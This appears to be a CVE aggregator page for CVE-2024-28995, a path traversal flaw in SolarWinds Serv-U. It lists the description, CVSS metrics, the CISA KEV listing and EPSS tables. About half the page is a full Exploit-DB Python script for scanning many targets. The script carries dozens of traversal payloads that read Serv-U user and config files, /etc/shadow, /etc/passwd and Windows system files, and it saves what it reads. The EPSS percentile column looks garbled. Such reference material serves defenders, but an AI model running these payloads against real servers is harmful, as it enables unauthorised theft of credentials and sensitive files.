CVE-2024-28995

CVE Descriptions

SolarWinds Serv-U L Directory Transversal Vulnerability

SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.

CVE Solutions

SolarWinds recommends that customers upgrade to SolarWinds Serv-U 15.4.2 HF 2 as soon as it becomes available.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.6	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Changed An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : SolarWinds Serv-U Path Traversal Vulnerability

Required action : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2024-07-16 22h00 +00:00

Action is due : 2024-08-06 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2024-06-07	–	–	–	–	–
2024-06-09	–	–	–	0.09%	–
2024-06-16	–	–	–	0.09%	–
2024-06-23	–	–	–	34.34%	–
2024-07-07	–	–	–	77.48%	–
2024-07-21	–	–	–	96%	–
2024-08-11	–	–	–	95.87%	–
2024-09-01	–	–	–	95.87%	–
2024-09-22	–	–	–	95.95%	–
2024-10-13	–	–	–	96.18%	–
2024-10-20	–	–	–	95.83%	–
2024-11-10	–	–	–	96.29%	–
2024-11-17	–	–	–	96%	–
2024-12-15	–	–	–	96.47%	–
2024-12-22	–	–	–	95.91%	–
2025-01-19	–	–	–	95.92%	–
2025-01-26	–	–	–	96.5%	–
2025-02-16	–	–	–	97%	–
2025-03-16	–	–	–	97.08%	–
2025-01-19	–	–	–	95.92%	–
2025-01-25	–	–	–	96.5%	–
2025-02-16	–	–	–	97%	–
2025-03-18	–	–	–	–	94.29%
2025-04-15	–	–	–	–	94.44%
2025-05-01	–	–	–	–	94.4%
2025-05-04	–	–	–	–	94.44%
2025-05-31	–	–	–	–	94.37%
2025-06-01	–	–	–	–	94.3%
2025-06-04	–	–	–	–	94.37%
2025-06-04	–	–	–	–	94.37,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2024-06-07	38%
2024-06-09	38%
2024-06-16	39%
2024-06-23	97%
2024-07-07	98%
2024-07-21	1%
2024-08-11	99%
2024-09-01	1%
2024-09-22	1%
2024-10-13	1%
2024-10-20	1%
2024-11-10	1%
2024-11-17	1%
2024-12-15	1%
2024-12-22	1%
2025-01-19	1%
2025-01-26	1%
2025-02-16	1%
2025-03-16	1%
2025-01-19	1%
2025-01-25	1%
2025-02-16	1%
2025-03-18	1%
2025-04-15	1%
2025-05-01	1%
2025-05-04	1%
2025-05-31	1%
2025-06-01	1%
2025-06-04	1%
2025-06-04	1%

Exploit information

Exploit Database EDB-ID : 52311

Publication date : 2025-05-28 22h00 +00:00
Author : İbrahimsql
EDB Verified : No

# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal # Date: 2025-05-28 # Exploit Author: @ibrahimsql # Exploit Author's github: https://github.com/ibrahimsql # Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server # Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration # Version: <= 15.4.2 HF1 # Tested on: Kali Linux 2024.1 # CVE: CVE-2024-28995 # Description: # SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow # attackers to read sensitive files on the host machine. This exploit demonstrates multiple # path traversal techniques to access Serv-U log files and other system files on both # Windows and Linux systems. # # References: # - https://nvd.nist.gov/vuln/detail/cve-2024-28995 # - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/ # - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html # Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import concurrent.futures import json import os import re import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urlparse import requests from colorama import Fore, Back, Style, init # Initialize colorama init(autoreset=True) # Disable SSL warnings try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: pass BASE_DIR = os.path.dirname(os.path.abspath(__file__)) BANNER = rf''' {Fore.CYAN} ______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \( _ )/ _ \ / _ \| ___| | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \ | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ (_) \__, |\__, |___) | \____| \_/ |_____| |_____|\___/_____| |_| |_____\___/ /_/ /_/|____/ {Fore.YELLOW} SolarWinds Serv-U Directory Traversal Exploit {Fore.RED} CVE-2024-28995 by @ibrahimsql {Style.RESET_ALL} ''' class ScanResult: def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None): self.url = url self.is_vulnerable = is_vulnerable self.version = version self.os_type = os_type self.file_content = file_content self.path = path self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S") def to_dict(self): return { "url": self.url, "is_vulnerable": self.is_vulnerable, "version": self.version, "os_type": self.os_type, "path": self.path, "timestamp": self.timestamp } def print_banner(): print(BANNER) def normalize_url(url): """Normalize URL to ensure it has http/https protocol.""" if not url.startswith('http'): url = f"https://{url}" return url.rstrip('/') def extract_server_version(headers): """Extract Serv-U version from server headers if available.""" if 'Server' in headers: server_header = headers['Server'] # Look for Serv-U version pattern match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header) if match: return match.group(1) return None def is_vulnerable_version(version): """Check if the detected version is vulnerable (15.4.2 HF1 or lower).""" if not version: return None try: # Split version numbers major, minor, patch = map(int, version.split('.')) # Vulnerable if lower than 15.4.2 HF2 if major < 15: return True elif major == 15: if minor < 4: return True elif minor == 4: if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable return True except: pass return False def get_request(url, timeout=15): """Make a GET request to the specified URL.""" try: response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False) return response except requests.RequestException as e: return None def detect_os_type(content): """Detect the operating system type from the file content.""" if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]): return "Linux" elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]): return "Windows" return None def get_default_payloads(): """Return a list of directory traversal payloads specific to CVE-2024-28995.""" return [ # Windows payloads - Serv-U specific files {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"}, {"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"}, {"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"}, {"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"}, {"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt", "name": "Serv-U Startup Log Alt4"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log", "name": "Serv-U Log"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt", "name": "Serv-U Log Alt"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt", "name": "Serv-U Error Log"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt", "name": "Serv-U Error Log Alt"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini", "name": "Serv-U Config"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini", "name": "Serv-U Admin Config"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt", "name": "Serv-U Users"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt", "name": "Serv-U User Accounts"}, # Verify Windows with various system files {"path": "/?InternalDir=/../../../../windows&InternalFile=win.ini", "name": "Windows ini"}, {"path": "/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini", "name": "Windows ini Alt"}, {"path": "/?InternalDir=../../../../windows&InternalFile=win.ini", "name": "Windows ini Alt2"}, {"path": "/?InternalDir=../../../../../../windows&InternalFile=win.ini", "name": "Windows ini Deep"}, {"path": "/?InternalDir=/./../../../Windows/system.ini", "name": "Windows system.ini"}, {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini", "name": "Windows drivers.ini"}, {"path": "/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts", "name": "Windows hosts"}, {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt", "name": "Windows config.nt"}, {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat", "name": "Windows ntuser.dat"}, {"path": "/?InternalDir=/./../../../Windows/boot.ini", "name": "Windows boot.ini"}, # Verify Linux with various system files {"path": "/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd", "name": "Linux passwd"}, {"path": "/?InternalDir=/../../../../etc^&InternalFile=passwd", "name": "Linux passwd Alt"}, {"path": "/?InternalDir=\\..\\..\\..\\..\\etc/passwd", "name": "Linux passwd Alt2"}, {"path": "/?InternalDir=../../../../etc&InternalFile=passwd", "name": "Linux passwd Alt3"}, {"path": "/?InternalDir=../../../../../../etc&InternalFile=passwd", "name": "Linux passwd Deep"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=shadow", "name": "Linux shadow"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=hosts", "name": "Linux hosts"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=hostname", "name": "Linux hostname"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=issue", "name": "Linux issue"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=os-release", "name": "Linux os-release"} ] def create_custom_payload(directory, filename): """Create a custom payload with the specified directory and filename.""" # Try both encoding styles payloads = [ {"path": f"/?InternalDir=/./../../../{directory}&InternalFile={filename}", "name": f"Custom {filename}"}, {"path": f"/?InternalDir=/../../../../{directory}^&InternalFile={filename}", "name": f"Custom {filename} Alt"}, {"path": f"/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}", "name": f"Custom {filename} Alt2"} ] return payloads def load_wordlist(wordlist_path): """Load custom paths from a wordlist file.""" payloads = [] try: with open(wordlist_path, 'r') as f: for line in f: line = line.strip() if line and not line.startswith('#'): # Check if the line contains a directory and file separated by a delimiter if ':' in line: directory, filename = line.split(':', 1) payloads.extend(create_custom_payload(directory, filename)) else: # Assume it's a complete path payloads.append({"path": line, "name": f"Wordlist: {line[:20]}..."}) return payloads except Exception as e: print(f"{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}") return [] def scan_target(url, custom_payloads=None): """Scan a target URL for the CVE-2024-28995 vulnerability.""" url = normalize_url(url) result = ScanResult(url) # Try to get server version first try: response = get_request(url) if response and response.headers: result.version = extract_server_version(response.headers) vulnerable_version = is_vulnerable_version(result.version) if vulnerable_version is False: print(f"{Fore.YELLOW}[*] {url} - Serv-U version {result.version} appears to be patched{Style.RESET_ALL}") # Still continue scanning as version detection may not be reliable except Exception as e: pass # Get all payloads to try payloads = get_default_payloads() if custom_payloads: payloads.extend(custom_payloads) # Try each payload for payload in payloads: full_url = f"{url}{payload['path']}" try: print(f"{Fore.BLUE}[*] Trying: {payload['name']} on {url}{Style.RESET_ALL}") response = get_request(full_url) if response and response.status_code == 200: content = response.text # Check if the response contains meaningful content if len(content) > 100: # Arbitrary threshold to filter out error pages os_type = detect_os_type(content) if os_type: result.is_vulnerable = True result.os_type = os_type result.file_content = content result.path = payload['path'] print(f"{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} - {payload['name']} - Detected {os_type} system{Style.RESET_ALL}") # Successful match - no need to try more payloads return result except Exception as e: continue if not result.is_vulnerable: print(f"{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}") return result def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None): """Scan multiple targets using thread pool.""" results = [] custom_payloads = [] # Add custom payloads if specified if custom_dir and custom_file: custom_payloads.extend(create_custom_payload(custom_dir, custom_file)) # Add wordlist payloads if specified if wordlist: custom_payloads.extend(load_wordlist(wordlist)) print(f"{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}") # Use fixed thread count of 10 with ThreadPoolExecutor(max_workers=10) as executor: future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets} for future in as_completed(future_to_url): try: result = future.result() results.append(result) except Exception as e: print(f"{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}") return results def save_results(results, output_file): """Save scan results to a JSON file.""" output_data = [result.to_dict() for result in results] try: with open(output_file, 'w') as f: json.dump(output_data, f, indent=2) print(f"{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}") def save_vulnerable_content(result, output_dir): """Save the vulnerable file content to a file.""" if not os.path.exists(output_dir): os.makedirs(output_dir) # Create a safe filename from the URL parsed_url = urlparse(result.url) safe_filename = f"{parsed_url.netloc.replace(':', '_')}.txt" output_path = os.path.join(output_dir, safe_filename) try: with open(output_path, 'w') as f: f.write(f"URL: {result.url}\n") f.write(f"Path: {result.path}\n") f.write(f"Version: {result.version or 'Unknown'}\n") f.write(f"OS Type: {result.os_type or 'Unknown'}\n") f.write(f"Timestamp: {result.timestamp}\n") f.write("\n--- File Content ---\n") f.write(result.file_content) print(f"{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}") def main(): parser = argparse.ArgumentParser(description="CVE-2024-28995 - SolarWinds Serv-U Directory Traversal Scanner") parser.add_argument("-u", "--url", help="Target URL") parser.add_argument("-f", "--file", help="File containing a list of URLs to scan") parser.add_argument("-d", "--dir", help="Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)") parser.add_argument("-n", "--filename", help="Custom filename to read (e.g., Serv-U-StartupLog.txt)") parser.add_argument("-w", "--wordlist", help="Path to wordlist containing custom paths to try") parser.add_argument("-o", "--output", help="Output JSON file to save results") args = parser.parse_args() print_banner() # Validate arguments if not args.url and not args.file: parser.print_help() print(f"\n{Fore.RED}[!] Error: Either -u/--url or -f/--file is required{Style.RESET_ALL}") sys.exit(1) targets = [] # Get targets if args.url: targets.append(args.url) if args.file: try: with open(args.file, "r") as f: targets.extend([line.strip() for line in f.readlines() if line.strip()]) except Exception as e: print(f"{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}") sys.exit(1) # Deduplicate targets targets = list(set(targets)) if not targets: print(f"{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}") sys.exit(1) print(f"{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}") # Set output file output_file = args.output or f"cve_2024_28995_results_{time.strftime('%Y%m%d_%H%M%S')}.json" # Start scanning results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist) # Process results vulnerable_count = sum(1 for result in results if result.is_vulnerable) print(f"\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}") print(f"{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}") print(f"{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}") # Save results save_results(results, output_file) # Save vulnerable file contents for result in results: if result.is_vulnerable and result.file_content: save_vulnerable_content(result, "vulnerable_files") print(f"\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}") if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}") sys.exit(0) except Exception as e: print(f"\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}") sys.exit(1)

Products Mentioned

Configuraton 0

Solarwinds>>Serv-u >> Version To (excluding) 15.4.2

Solarwinds>>Serv-u >> Version 15.1 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.1 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.2 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.2 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.4 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.5 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.6 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.6 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.6 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.6 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.7 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.7 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.7 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.7 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.7 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.1.7 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.2.1 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.2.2 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.2.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.2.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.2.4 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.2.5 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.3 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.3.0 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.3.1 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.3.2 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.4.0 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.4.0 (Open CPE detail)
Solarwinds>>Serv-u >> Version 15.4.0 (Open CPE detail)

Solarwinds>>Serv-u >> Version 15.4.2

References

https://www.solarwinds.com/trust-center/security-advisories/CVE-2024-28995
Tags : vendor-advisory

CVE-2024-28995 : Detail